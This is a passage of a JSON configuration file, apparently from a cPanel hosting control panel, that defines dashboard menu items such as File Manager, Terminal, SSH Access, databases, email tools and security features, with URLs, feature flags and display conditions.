Installer","itemorder":"99","implements":"Softaculous_Home","url":"softaculous/index.live.php","group":"software","searchtext":"Softaculous Apps Installer","description":"Softaculous Apps Installer","base64_png_image":"","feature":"softaculous","onclick":"","height":"48"},"cpu_and_concurrent_connection_usage":{"file":"cpu_and_concurrent_connection_usage","itemdesc":"CPU and Concurrent Connection Usage","width":"48","itemorder":"11","subtype":"img","acontent":"","imgtype":"icon","plainitemdesc":"CPU and Concurrent Connection Usage","target":"","version":"1.0","type":"image","if":"$hascloudlinux","base64_png_image":"","searchtext":"CPU and Concurrent Connection Usage","description":"View and monitor system resource usage.","key":"cpu_and_concurrent_connection_usage","height":"48","feature":"enduserlve","onclick":"","group":"metrics","url":"stats/resourceusage.html"},"lvephpsel":{"itemorder":"999","itemdesc":"Select PHP Version","width":"48","subtype":"img","acontent":"","file":"lvephpsel","target":"","plainitemdesc":"Select PHP Version","type":"image","imgtype":"icon","height":"48","onclick":"","feature":"lvephpsel","base64_png_image":"","searchtext":"Select PHP Version","description":"Select PHP Version","group":"software","url":"lveversion/php_selector.live.pl"},"awstats":{"imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipawstats'}","target":"","plainitemdesc":"Awstats","file":"awstats","subtype":"img","acontent":"","itemorder":"5","width":"48","itemdesc":"Awstats","implements":"Stats_AWStats","url":"stats/awstats_landing.html","group":"metrics","key":"awstats","searchtext":"Awstats awstats","description":"View traffic statistics from the AWStats software.","base64_png_image":"","onclick":"","feature":"awstats","height":"48"},"cpanel-koality-plugin":{"url":"koality/signup/index.html","group":"metrics","description":"Site Quality Monitoring","searchtext":"website quality check monitor plugin Site Quality Monitoring","base64_png_image":"","onclick":"","feature":"koality","height":"48","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Site Quality Monitoring","file":"cpanel-koality-plugin","subtype":"img","acontent":"","itemorder":"2","itemdesc":"Site Quality Monitoring","width":"48"},"api_tokens":{"plainitemdesc":"Manage API Tokens","target":"","type":"image","imgtype":"icon","width":"48","itemdesc":"Manage API Tokens","itemorder":"4","acontent":"","subtype":"img","file":"api_tokens","group":"security","url":"api_tokens/index.html","implements":"API_Tokens_Manager","height":"48","feature":"apitokens","onclick":"","base64_png_image":"","description":"Create, manage, and delete API tokens.","searchtext":"Manage API Tokens access api connect login","key":"api_tokens"},"tls_wizard":{"implements":"SSL_TLS_Wizard","group":"security","url":"security/tls_wizard/","base64_png_image":"","key":"tls_wizard","description":"Purchase and install SSL certificates for your domains.","searchtext":"SSL/TLS Wizard","height":"48","onclick":"","feature":"market && tls_wizard && sslinstall","imgtype":"icon","plainitemdesc":"[asis,SSL]/[asis,TLS] Wizard","target":"","type":"image","if":"$HASROLE{'UserSSL'} && $market_has_enabled_providers","file":"tls_wizard","itemorder":"6","width":"48","itemdesc":"SSL/TLS Wizard","acontent":"","subtype":"img"},"group_soft_div":{"file":"group_soft_div","itemdesc":"group_soft_div","width":"32","subtype":"img","acontent":"","grouporder":"10","imgtype":"icon","target":"","type":"image","base64_png_image":"","searchtext":"group_soft_div","description":"Softaculous Apps Installer","height":"32","onclick":"","groupdesc":"Softaculous Apps Installer","group":"soft_div"},"file_manager":{"file":"file_manager","itemorder":"1","itemdesc":"File Manager","width":"48","subtype":"img","acontent":"target=\"_blank\"","imgtype":"icon","plainitemdesc":"File Manager","target":"_blank","if":"$HASROLE{'FileStorage'}","type":"image","base64_png_image":"","key":"file_manager","searchtext":"File Manager file-manager","description":"Manage and edit your files.","height":"48","onclick":"","feature":"filemanager","implements":"FileManager_Home","group":"files","url":"filemanager/index.html"},"ruby_on_rails":{"if":"$hasrails","type":"image","plainitemdesc":"Ruby on Rails","target":"","imgtype":"icon","subtype":"img","acontent":"","itemorder":"5","itemdesc":"Ruby on Rails","width":"48","file":"ruby_on_rails","url":"ror/index.html","group":"software","onclick":"","feature":"ror","height":"48","key":"ruby_on_rails","description":"Create and deploy a Ruby on Rails® application.","searchtext":"Ruby on Rails","base64_png_image":""},"bandwidth":{"imgtype":"icon","type":"image","if":"$SERVICEPROVIDED{'ftp'} || $HASROLE{'MailReceive'} || $HASROLE{'WebServer'}","target":"","plainitemdesc":"Bandwidth","file":"bandwidth","acontent":"","subtype":"img","itemdesc":"Bandwidth","width":"48","itemorder":"3","url":"stats/bandwidth.html","group":"metrics","description":"View bandwidth usage graphs by protocol over multiple lengths of time.","searchtext":"Bandwidth bandmin transfer","key":"bandwidth","base64_png_image":"","feature":"bandwidth","onclick":"","height":"48"},"php":{"file":"php","itemdesc":"PHP","width":"48","itemorder":"1","subtype":"img","acontent":"","imgtype":"icon","plainitemdesc":"PHP","target":"","if":"!$is_ea4","type":"image","base64_png_image":"","searchtext":"PHP configuration","description":"Display your PHP configuration settings.","key":"php","height":"48","feature":"php-config","onclick":"","group":"software","url":"php/index.html?lang"},"manage_calendar_access":{"acontent":"","subtype":"img","itemorder":18,"width":48,"itemdesc":"Calendars and Contacts Sharing","file":"manage_calendar_access","type":"image","if":"$HASROLE{'CalendarContact'} && $hascpdavd","plainitemdesc":"Calendars and Contacts Sharing","target":"","imgtype":"icon","onclick":"","feature":"caldavcarddav","height":48,"key":"manage_calendar_access","searchtext":"calendar delegation Calendars and Contacts Sharing","description":"Delegate access rights for a user’s calendar & contacts to other users.","base64_png_image":"","url":"manage-calendar-access/index.html","group":"email"},"version_control":{"onclick":"","feature":"version_control","height":"48","key":"version_control","searchtext":"Git version control vcs repositories repository repo master checkout check out branch clone remote source code commit head gitweb history log publish deployment build continuous integration Git™ Version Control","description":"Host Git™ repositories.","base64_png_image":"","url":"version_control/index.html","group":"files","acontent":"","subtype":"img","itemorder":"10","width":"48","itemdesc":"Git™ Version Control","file":"version_control","type":"image","if":"$HASROLE{'FileStorage'}","target":"","plainitemdesc":"[asis,Git™] Version Control","imgtype":"icon"},"images":{"width":"48","itemdesc":"Images","itemorder":"2","acontent":"","subtype":"img","file":"images","plainitemdesc":"Images","target":"","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon","height":"48","feature":"cpanelpro_images","onclick":"","base64_png_image":"","searchtext":"image manager resize manager scaler thumbnailer format Images","description":"Modify and manage images saved to your cPanel account.","key":"images","group":"files","url":"cpanelpro/images.html"},"email_routing":{"imgtype":"icon","target":"","plainitemdesc":"Email Routing","type":"image","if":"$HASROLE{'MailReceive'} && !$HASCHILDNODE{Mail}","file":"email_routing","itemdesc":"Email Routing","width":"48","itemorder":"4","acontent":"","subtype":"img","implements":"Email_Routing","group":"email","url":"mail/email_routing.html","base64_png_image":"","description":"Configure how the system routes a domain’s incoming mail.","searchtext":"MX Entry Email Routing dns","key":"email_routing","height":"48","feature":"changemx","onclick":""},"wp_softaculous":{"file":"wp_softaculous","acontent":"","subtype":"img","itemdesc":"WordPress Manager by Softaculous","width":"48","itemorder":"1","imgtype":"icon","type":"image","target":"","plainitemdesc":"WordPress Manager by Softaculous","description":"WordPress Manager by Softaculous","searchtext":"WordPress Manager by Softaculous","base64_png_image":"","feature":"wp_softaculous","onclick":"","height":"48","implements":"Softaculous_WordPress","url":"softaculous/index.live.php?act=wordpress","group":"software"},"group_security":{"onclick":"","height":"48","key":"group_security","description":"Security","searchtext":"group_security","base64_png_image":"","group":"security","groupdesc":"Security","subtype":"img","acontent":"","itemdesc":"group_security","width":"48","file":"group_security","type":"image","target":"","grouporder":"6","imgtype":"icon"},"remote_mysql":{"file":"remote_mysql","subtype":"img","acontent":"","width":"48","itemdesc":"Remote Database Access","itemorder":"4","imgtype":"icon","type":"image","if":"$SERVICEPROVIDED{'mysql'}","target":"","plainitemdesc":"Remote Database Access","description":"Allow remote hosts (servers) to access databases hosted on this server.","searchtext":"Remote MySQL db Remote Database Access","key":"remote_mysql","base64_png_image":"","feature":"mysql","onclick":"","height":"48","url":"sql/managehost.html","group":"databases"},"group_databases":{"file":"group_databases","itemdesc":"group_databases","width":"48","subtype":"img","acontent":"","grouporder":"3","imgtype":"icon","target":"","type":"image","if":"$SERVICEPROVIDED{'mysql'} || $SERVICEPROVIDED{'postgresql'}","base64_png_image":"","searchtext":"group_databases","description":"Databases","key":"group_databases","height":"48","onclick":"","groupdesc":"Databases","group":"databases"},"ruby_gems":{"if":"$hasgem","type":"image","plainitemdesc":"RubyGems","target":"","imgtype":"icon","subtype":"img","acontent":"","itemorder":"4","itemdesc":"RubyGems","width":"48","file":"ruby_gems","url":"module_installers/index.html?lang=ruby","group":"software","onclick":"","feature":"modules-ruby","height":"48","key":"ruby_gems","searchtext":"RubyGems ror ruby gems rails","description":"Distribute Ruby® programs and libraries.","base64_png_image":""},"web_disk":{"group":"files","url":"webdav/accounts_webdav.html","height":"48","onclick":"","feature":"webdisk","base64_png_image":"","key":"web_disk","description":"Manage files on multiple types of devices.","searchtext":"Web Disk webdav webdisk","plainitemdesc":"Web Disk","target":"","if":"$HASROLE{'WebDisk'} && $hascpdavd","type":"image","imgtype":"icon","itemorder":"5","width":"48","itemdesc":"Web Disk","subtype":"img","acontent":"","file":"web_disk"},"ftp_connections":{"itemorder":"7","itemdesc":"FTP Connections","width":"48","acontent":"","subtype":"img","touch":"ftp","file":"ftp_connections","plainitemdesc":"FTP Connections","target":"","if":"$SERVICEPROVIDED{'ftp'} && !$hascloudlinux","type":"image","imgtype":"icon","height":"48","onclick":"","feature":"ftpaccts","base64_png_image":"","key":"ftp_connections","searchtext":"FTP Connections ftp accounts ftp session control","description":"View information about current connections to your FTP server and manage those connections.","group":"files","url":"ftp/session.html"},"anonymous_ftp":{"target":"","plainitemdesc":"Anonymous FTP","if":"$SERVICEPROVIDED{'ftp'} && $hasanonftp","type":"image","imgtype":"icon","itemorder":"8","width":"48","itemdesc":"Anonymous FTP","subtype":"img","acontent":"","touch":"ftp","file":"anonymous_ftp","group":"files","url":"ftp/anonymous.html","height":"48","onclick":"","feature":"ftpaccts","base64_png_image":"","key":"anonymous_ftp","description":"Define how anonymous users interact with your FTP server.","searchtext":"Anonymous FTP anonymousftp"},"directory_privacy":{"url":"htaccess/index.html","group":"files","onclick":"","feature":"webprotect","height":"48","key":"directory_privacy","description":"Protect specific directories in your files on your cPanel account.","searchtext":"Directory Privacy passwordprotect password protect","base64_png_image":"","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Directory Privacy","target":"","imgtype":"icon","acontent":"","subtype":"img","itemorder":"3","width":"48","itemdesc":"Directory Privacy","file":"directory_privacy"},"backup":{"height":"48","onclick":"","feature":"backup","base64_png_image":"","key":"backup","description":"Download and store your website in a backup file.","searchtext":"Backup restore","group":"files","url":"backup/index.html","implements":"Backups_Home","itemorder":"9","itemdesc":"Backup","width":"48","subtype":"img","acontent":"","file":"backup","plainitemdesc":"Backup","target":"","type":"image","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","imgtype":"icon"},"apache_handlers":{"onclick":"","feature":"handlers","height":"48","key":"apache_handlers","searchtext":"Apache Handlers apache handlers extension configure","description":"Control how your website’s Apache® web server software manages certain file types and file extensions.","base64_png_image":"","url":"mime/handle.html","group":"advanced","acontent":"","subtype":"img","itemorder":"6","itemdesc":"Apache Handlers","width":"48","file":"apache_handlers","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"Apache Handlers","target":"","imgtype":"icon"},"error_pages":{"width":"48","itemdesc":"Error Pages","itemorder":"5","subtype":"img","acontent":"","file":"error_pages","target":"","plainitemdesc":"Error Pages","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","height":"48","feature":"errpgs","onclick":"","base64_png_image":"","description":"Inform visitors about problems when they attempt to access your website.","searchtext":"Error Pages errorlog error_log error log","key":"error_pages","group":"advanced","url":"err/index.html"},"team_manager":{"group":"preferences","url":"team-manager/index.html","base64_png_image":"","searchtext":"manage team manager sub user subaccount subuser Manage Team","description":"Manage Team","key":"team_manager","height":48,"feature":"team_manager","onclick":"","imgtype":"icon","target":"","plainitemdesc":"Manage Team","type":"image","if":"$has_team_license","file":"team_manager","itemdesc":"Manage Team","width":48,"itemorder":5,"subtype":"img","acontent":""},"group_software":{"group":"software","groupdesc":"Software","onclick":"","height":"48","key":"group_software","description":"Software","searchtext":"group_software","base64_png_image":"","type":"image","if":"$HASROLE{'WebServer'}","target":"","grouporder":"6","imgtype":"icon","acontent":"","subtype":"img","itemdesc":"group_software","width":"48","file":"group_software"},"ssh_access":{"itemorder":"1","width":"48","itemdesc":"SSH Access","acontent":"","subtype":"img","file":"ssh_access","target":"","plainitemdesc":"SSH Access","type":"image","imgtype":"icon","height":"48","onclick":"","feature":"ssh","base64_png_image":"","key":"ssh_access","searchtext":"SSH access ssh/shell Access ssh secure shell sftp SSH Access","description":"Manage your public and private SSH keys.","group":"security","url":"telnet/index.html"},"redirects":{"searchtext":"Redirects rewrite modrewrite","description":"Send the visitors of a domain or particular page to a different URL.","key":"redirects","base64_png_image":"","feature":"redirects","onclick":"","height":"48","url":"mime/redirect.html","group":"domains","file":"redirects","acontent":"","subtype":"img","itemdesc":"Redirects","width":"48","itemorder":"6","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Redirects"},"analog_stats":{"imgtype":"icon","target":"","plainitemdesc":"Analog Stats","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipanalog'}","type":"image","file":"analog_stats","itemdesc":"Analog Stats","width":"48","itemorder":"6","acontent":"","subtype":"img","group":"metrics","url":"stats/analog_landing.html","base64_png_image":"","searchtext":"Analog Stats","description":"View data from the Analog traffic statistics software.","key":"analog_stats","height":"48","feature":"analog","onclick":""},"webalizer_ftp":{"url":"stats/webalizerftp_landing.html","group":"metrics","onclick":"","feature":"webalizer","height":"48","key":"webalizer_ftp","searchtext":"Webalizer FTP stats ftp","description":"View FTP traffic statistics from the Webalizer statistics program.","base64_png_image":"","type":"image","if":"!$CONFIF{'skipwebalizer'}","target":"","plainitemdesc":"Webalizer FTP","imgtype":"icon","subtype":"img","acontent":"","touch":"ftp","itemorder":"8","width":"48","itemdesc":"Webalizer FTP","file":"webalizer_ftp"},"file_and_directory_restoration":{"key":"file_and_directory_restoration","searchtext":"File directory restoration File and Directory Restoration","description":"Restore files from local backup sources.","base64_png_image":"","onclick":"","feature":"filerestoration","height":"48","url":"file_and_directory_restoration/index.html","group":"files","file":"file_and_directory_restoration","subtype":"img","acontent":"","itemorder":"11","itemdesc":"File and Directory Restoration","width":"48","imgtype":"icon","if":"$file_restoration_enabled && $HASROLE{'FileStorage'}","type":"image","target":"","plainitemdesc":"File and Directory Restoration"},"group_metrics":{"group":"metrics","groupdesc":"Metrics","height":"48","onclick":"","base64_png_image":"","searchtext":"group_metrics","description":"Metrics","key":"group_metrics","target":"","type":"image","imgtype":"icon","grouporder":"5","itemdesc":"group_metrics","width":"48","subtype":"img","acontent":"","file":"group_metrics"},"group_whmcs":{"target":"","type":"image","imgtype":"icon","grouporder":"1","itemdesc":"group_whmcs","width":32,"acontent":"","subtype":"img","file":"group_whmcs","group":"whmcs","groupdesc":"Billing & Support","height":32,"onclick":"","base64_png_image":"","description":"Billing & Support","searchtext":"group_whmcs"},"mysql_databases":{"imgtype":"icon","if":"$SERVICEPROVIDED{'mysql'}","type":"image","plainitemdesc":"Manage My Databases","target":"","file":"mysql_databases","subtype":"img","acontent":"","itemorder":"2","width":"48","itemdesc":"Manage My Databases","implements":"Database_MySQL","url":"sql/index.html","group":"databases","key":"mysql_databases","searchtext":"MySQL Databases db Manage My Databases","description":"Create, manage, and delete databases and database users.","base64_png_image":"","onclick":"","feature":"mysql","height":"48"},"terminal":{"subtype":"img","acontent":"","itemdesc":"Terminal","width":"48","itemorder":"1","file":"terminal","type":"image","if":"$hasvalidshell && $HASROLE{'FileStorage'}","plainitemdesc":"Terminal","target":"","imgtype":"icon","feature":"ssh","onclick":"","height":"48","searchtext":"terminal bash tcsh command line shell ssh Terminal","description":"Access an in-browser terminal application for direct command-line access within a cPanel session.","key":"terminal","base64_png_image":"","url":"terminal/index.html","group":"advanced"},"group_files":{"groupdesc":"Files","group":"files","base64_png_image":"","key":"group_files","searchtext":"group_files","description":"Files","height":"48","onclick":"","imgtype":"icon","grouporder":"2","target":"","type":"image","file":"group_files","itemdesc":"group_files","width":"48","subtype":"img","acontent":""},"letsencrypt-cpanel":{"acontent":"","subtype":"img","width":"48","itemdesc":"Lets Encrypt™ SSL","itemorder":"99","file":"letsencrypt-cpanel","type":"image","target":"","plainitemdesc":"Lets Encrypt™ SSL","imgtype":"icon","feature":"letsencrypt-cpanel","onclick":"","height":"48","searchtext":"Lets Encrypt™ SSL","description":"Lets Encrypt™ SSL","base64_png_image":"","url":"letsencrypt/letsencrypt.live.cgi","group":"security"},"postgresql_database_wizard":{"itemorder":"6","itemdesc":"PostgreSQL Database Wizard","width":"48","acontent":"","subtype":"img","file":"postgresql_database_wizard","plainitemdesc":"PostgreSQL Database Wizard","target":"","type":"image","if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","imgtype":"icon","height":"48","onclick":"","feature":"postgres","base64_png_image":"","key":"postgresql_database_wizard","description":"Guided setup of a PostgreSQL® database, database users, and user privileges.","searchtext":"PostgreSQL Database Wizard postgres postgresql database db","group":"databases","url":"psql/wizard1.html"},"calendar_and_contacts":{"implements":"Calendar_Configure","group":"email","url":"mail/calendars_and_contacts/index.html","base64_png_image":"","description":"Manage your CalDAV (calendar) and CardDAV (contacts) accounts.","searchtext":"email calendar contact address book CalDAV CardDAV Calendars and Contacts Configuration","key":"calendar_and_contacts","height":"48","feature":"caldavcarddav","onclick":"","imgtype":"icon","target":"","plainitemdesc":"Calendars and Contacts Configuration","type":"image","if":"$HASROLE{'CalendarContact'} && $hascpdavd","file":"calendar_and_contacts","itemdesc":"Calendars and Contacts Configuration","width":"48","itemorder":"18","subtype":"img","acontent":""},"global_email_filters":{"height":"48","onclick":"","feature":"blockers","base64_png_image":"","key":"global_email_filters","searchtext":"Global Email Filters filter account level filtering","description":"Configure how your server filters all of the email that your domains’ email accounts receive.","group":"email","url":"mail/filters/userfilters.html","implements":"Email_AccountLevelFiltering","itemorder":"9","width":"48","itemdesc":"Global Email Filters","subtype":"img","acontent":"","file":"global_email_filters","plainitemdesc":"Global Email Filters","target":"","if":"$HASROLE{'MailReceive'}","type":"image","imgtype":"icon"},"sitepad":{"group":"software","url":"../../3rdparty/sitepad/index.live.php","implements":"SitePad_Home","height":"48","onclick":"","feature":"sitepad","base64_png_image":"","searchtext":"SitePad Website Builder","description":"SitePad Website Builder","plainitemdesc":"SitePad Website Builder","target":"","type":"image","imgtype":"icon","itemorder":"1","width":"48","itemdesc":"SitePad Website Builder","acontent":"","subtype":"img","file":"sitepad"},"mysql_database_wizard":{"feature":"mysql","onclick":"","height":"48","searchtext":"MySQL Database Wizard mysql database db","description":"Guided setup of a database, database users, and user privileges.","key":"mysql_database_wizard","base64_png_image":"","url":"sql/wizard1.html","group":"databases","acontent":"","subtype":"img","itemdesc":"Database Wizard","width":"48","itemorder":"3","file":"mysql_database_wizard","if":"$SERVICEPROVIDED{'mysql'}","type":"image","target":"","plainitemdesc":"Database Wizard","imgtype":"icon"},"group_sitepad_div":{"groupdesc":"SitePad Website Builder - Themes","group":"sitepad_div","description":"SitePad Website Builder - Themes","searchtext":"group_sitepad_div","base64_png_image":"","onclick":"","height":"32","grouporder":"10","imgtype":"icon","type":"image","target":"","file":"group_sitepad_div","subtype":"img","acontent":"","width":"32","itemdesc":"group_sitepad_div"},"backup_wizard":{"url":"backup/wizard.html","group":"files","feature":"backup","onclick":"","height":"48","description":"Back up all or part of your website, or restore it from the most recent backup file.","searchtext":"Backup Wizard restore","key":"backup_wizard","base64_png_image":"","type":"image","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","plainitemdesc":"Backup Wizard","target":"","imgtype":"icon","subtype":"img","acontent":"","width":"48","itemdesc":"Backup Wizard","itemorder":"9","file":"backup_wizard"},"group_email":{"subtype":"img","acontent":"","width":"48","itemdesc":"group_email","file":"group_email","if":"$HASROLE{'MailSend'} || $HASROLE{'MailReceive'} || $HASROLE{'DNS'} || $HASROLE{'CalendarContact'}","type":"image","target":"","imgtype":"icon","grouporder":"1","onclick":"","height":"48","searchtext":"group_email","description":"Email","key":"group_email","base64_png_image":"","group":"email","groupdesc":"Email"},"mod_security":{"imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'} && $is_mod_security_installed","plainitemdesc":"ModSecurity","target":"","file":"mod_security","subtype":"img","acontent":"","itemorder":"7","width":"48","itemdesc":"ModSecurity","url":"security/mod_security/index.html","group":"security","key":"mod_security","searchtext":"ModSecurity mod security mod_security","description":"Enable or disable ModSecurity® for your domains.","base64_png_image":"","onclick":"","feature":"modsecurity","height":"48"},"multiphp_manager":{"width":"48","itemdesc":"MultiPHP Manager","itemorder":"8","acontent":"","subtype":"img","file":"multiphp_manager","target":"","plainitemdesc":"MultiPHP Manager","if":"$is_ea4","type":"image","imgtype":"icon","height":"48","feature":"multiphp","onclick":"","base64_png_image":"","description":"Manage your PHP configuration.","searchtext":"MultiPHP Manager","key":"multiphp_manager","group":"software","url":"multiphp_manager/index.html"},"forwarders":{"base64_png_image":"","searchtext":"Forwarders forward","description":"Configure an email address to forward copies of incoming emails to another address.","key":"forwarders","height":"48","feature":"forwarders || emaildomainfwd","onclick":"","implements":"Email_Forwarders","group":"email","url":"mail/fwds.html","file":"forwarders","width":"48","itemdesc":"Forwarders","itemorder":"3","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Forwarders","target":"","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}"},"lvepythonsel":{"itemorder":"999","itemdesc":"Setup Python App","width":"48","acontent":"","subtype":"img","file":"lvepythonsel","plainitemdesc":"Setup Python App","target":"","type":"image","imgtype":"icon","height":"48","onclick":"","feature":"lvepythonsel","base64_png_image":"","searchtext":"Setup Python App","description":"Setup Python App","group":"software","url":"lveversion/python-selector.html.tt"},"autoresponders":{"subtype":"img","acontent":"","itemdesc":"Autoresponders","width":"48","itemorder":"5","file":"autoresponders","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","type":"image","target":"","plainitemdesc":"Autoresponders","imgtype":"icon","feature":"autoresponders","onclick":"","height":"48","searchtext":"Autoresponders autoresponder auto responders","description":"Configure automatic email response messages.","key":"autoresponders","base64_png_image":"","url":"mail/autores.html","group":"email","implements":"Email_AutoResponders"},"archive":{"type":"image","if":"$HASROLE{'MailReceive'} && $CONFIF{'emailarchive'}","target":"","plainitemdesc":"Archive","imgtype":"icon","subtype":"img","acontent":"","width":"48","itemdesc":"Archive","itemorder":"14","file":"archive","url":"mail/archive.html","group":"email","implements":"Email_Archive","feature":"emailarchive","onclick":"","height":"48","searchtext":"email archive Email Archiving Archive","description":"Save incoming, outgoing, and mailing list messages for a specified amount of time.","key":"archive","base64_png_image":""},"api_shell":{"url":"api_shell/index.html","group":"advanced","feature":"api_shell","onclick":"","height":"48","searchtext":"API Shell","description":"Run cPanel & WHM API functions.","key":"api_shell","base64_png_image":"","type":"image","if":"$isreseller && $CONFIF{'api_shell'}","target":"","plainitemdesc":"API Shell","imgtype":"icon","acontent":"","subtype":"img","itemdesc":"API Shell","width":"48","itemorder":"9","file":"api_shell"},"php_pg_admin":{"base64_png_image":"","key":"php_pg_admin","searchtext":"phpPgAdmin database psql db","description":"Manage PostgreSQL® databases.","height":"48","onclick":"","feature":"phppgadmin","group":"databases","url":"/3rdparty/phpPgAdmin/index.php","file":"php_pg_admin","itemorder":"7","width":"48","itemdesc":"phpPgAdmin","subtype":"img","acontent":"target=\"_blank\"","imgtype":"icon","target":"_blank","plainitemdesc":"[asis,phpPgAdmin]","if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","type":"image"},"disk_usage":{"imgtype":"icon","if":"$HASROLE{'FileStorage'}","type":"image","target":"","plainitemdesc":"Disk Usage","file":"disk_usage","acontent":"","subtype":"img","width":"48","itemdesc":"Disk Usage","itemorder":"4","url":"diskusage/index.html","group":"files","description":"View information about your files, your directories, and how you use your disk space.","searchtext":"Disk Usage disk space usage disk-usage","key":"disk_usage","base64_png_image":"","feature":"diskusageviewer","onclick":"","height":"48"},"group_advanced":{"key":"group_advanced","searchtext":"group_advanced","description":"Advanced","base64_png_image":"","onclick":"","height":"48","groupdesc":"Advanced","group":"advanced","file":"group_advanced","subtype":"img","acontent":"","width":"48","itemdesc":"group_advanced","grouporder":"7","imgtype":"icon","type":"image","target":""},"postgresql_databases":{"itemdesc":"PostgreSQL Databases","width":"48","itemorder":"5","acontent":"","subtype":"img","file":"postgresql_databases","plainitemdesc":"PostgreSQL Databases","target":"","if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","type":"image","imgtype":"icon","height":"48","feature":"postgres","onclick":"","base64_png_image":"","description":"Create, manage, and delete PostgreSQL® databases and database users.","searchtext":"PostgreSQL Databases postgres database postgresql db","key":"postgresql_databases","group":"databases","url":"psql/index.html"},"application_manager":{"base64_png_image":"","searchtext":"apps passenger ruby ror gems rails Application Manager","description":"Deploy applications with the Phusion Passenger® application server.","key":"application_manager","height":"48","feature":"passengerapps","onclick":"","group":"software","url":"passenger/index.html","file":"application_manager","width":"48","itemdesc":"Application Manager","itemorder":"8","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Application Manager","type":"image"},"perl_modules":{"group":"software","url":"module_installers/index.html?lang=perl","height":"48","onclick":"","feature":"modules-perl","base64_png_image":"","key":"perl_modules","searchtext":"Perl Modules","description":"Search for and install Perl modules from the CPAN repository.","target":"","plainitemdesc":"Perl Modules","if":"$hasperl","type":"image","imgtype":"icon","itemorder":"3","itemdesc":"Perl Modules","width":"48","subtype":"img","acontent":"","file":"perl_modules"},"change_password":{"height":"48","feature":"password","onclick":"","base64_png_image":"","searchtext":"password & security change facebook external google secure cpanel Password & Security","description":"Update your cPanel account’s password.","key":"change_password","group":"preferences","url":"passwd/index.html","implements":"Password_Change","width":"48","itemdesc":"Password & Security","itemorder":"1","subtype":"img","acontent":"","file":"change_password","target":"","plainitemdesc":"Password [output,amp] Security","type":"image","imgtype":"icon"},"WHMCS_clientarea_submit_ticket":{"description":"Créer un ticket support","searchtext":"Créer un ticket support","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAaVBMVEUAAACEtVaZwW+EtVaEtVaZwW9cjiiEtVaZwW+EtVaEtVaZwW+ZwW+EtVaZwW+EtVaXwG2ZwW+EtVaZwW+EtVaZwW+EtVaZwW+EtVaZwW9cjihmmDRrmzprnTlzoUN4qUiEtVaGsVmZwW98tPsQAAAAGnRSTlMAEBAgMDBAQEBgcHCAj4+fn5+vr7+/z8/v70sG19AAAADsSURBVHja7ZPZDoIwFAUPdUFRcQcsKNL//0hNLTf2RCx9NHFeCLczLSSAJ+poPLTgz48KL3Lj0/R+Qwu5Cy407/qgo4WLCwxze/k3w0jAdI3WTWdCAfMPfisoF6W9LiDk34JSQdlCQVhRQD6g7Ld5FviR2Mc+8A4hnwP2d8Yyg7D2g3tPkeDJ1t1NIWRuJAH5Q3CwJD8YJL5fnYTPwQGYvO8/gbD8GGRZ4Z2fQthQEOYf/EbQ1lrX7fjgqi3XsUGrHXxGNRDUfVDTwmYg0II/PyQcZKllLqTvWJ1+0ZHE+oj1Eesj1kesj6KK8B8h7csXeqVdoAAAAABJRU5ErkJggg==","onclick":"","height":48,"implements":"WHMCS_clientarea_submit_ticket","url":"integration/index.html?app=WHMCS_clientarea_submit_ticket","group":"whmcs","file":"WHMCS_clientarea_submit_ticket","acontent":"target=\"_blank\"","subtype":"img","itemorder":"11","width":48,"itemdesc":"Créer un ticket support","imgtype":"icon","type":"image","plainitemdesc":"Créer un ticket support","target":"_blank"},"errors":{"imgtype":"icon","target":"","plainitemdesc":"Errors","type":"image","if":"$HASROLE{'WebServer'}","file":"errors","width":"48","itemdesc":"Errors","itemorder":"2","subtype":"img","acontent":"","group":"metrics","url":"stats/errlog.html","base64_png_image":"","searchtext":"Errors errorlog error log","description":"View the most recent entries in the Apache® error logs.","key":"errors","height":"48","feature":"errlog","onclick":""},"apache_spam_assassin":{"group":"email","url":"mail/spam/index.html","implements":"Email_SpamFilter","height":"48","feature":"spamassassin","onclick":"","base64_png_image":"","searchtext":"Filtering Spam Assassin spamassassin Apache SpamAssassin Spam Filters","description":"Configure the spam filter settings for your email account.","key":"apache_spam_assassin","plainitemdesc":"Spam Filters","target":"","if":"$HASROLE{'SpamFilter'} && !$CONFIF{'skipspamassassin'}","type":"image","imgtype":"icon","width":"48","itemdesc":"Spam Filters","itemorder":"13","subtype":"img","acontent":"","file":"apache_spam_assassin"},"clam_av":{"imgtype":"icon","plainitemdesc":"Virus Scanner","target":"","if":"$hasclamav && $HASROLE{'MailReceive'}","type":"image","file":"clam_av","itemorder":"8","itemdesc":"Virus Scanner","width":"48","acontent":"","subtype":"img","touch":"clamav","group":"advanced","url":"clam-av/index.html","base64_png_image":"","key":"clam_av","searchtext":"Virus Scanner clam clamav antivirus","description":"Scan your cPanel account for viruses.","height":"48","onclick":"","feature":"clamavconnector_scan"},"optimize_website":{"group":"software","url":"optimize/index.html","height":"32","onclick":"","feature":"optimizews","base64_png_image":"","key":"optimize_website","searchtext":"Optimize Website","description":"Configure your server to automatically compress specified types of content when visitors access that content.","plainitemdesc":"Optimize Website","target":"","type":"image","if":"$hasmoddeflate","imgtype":"icon","itemorder":"7","width":"32","itemdesc":"Optimize 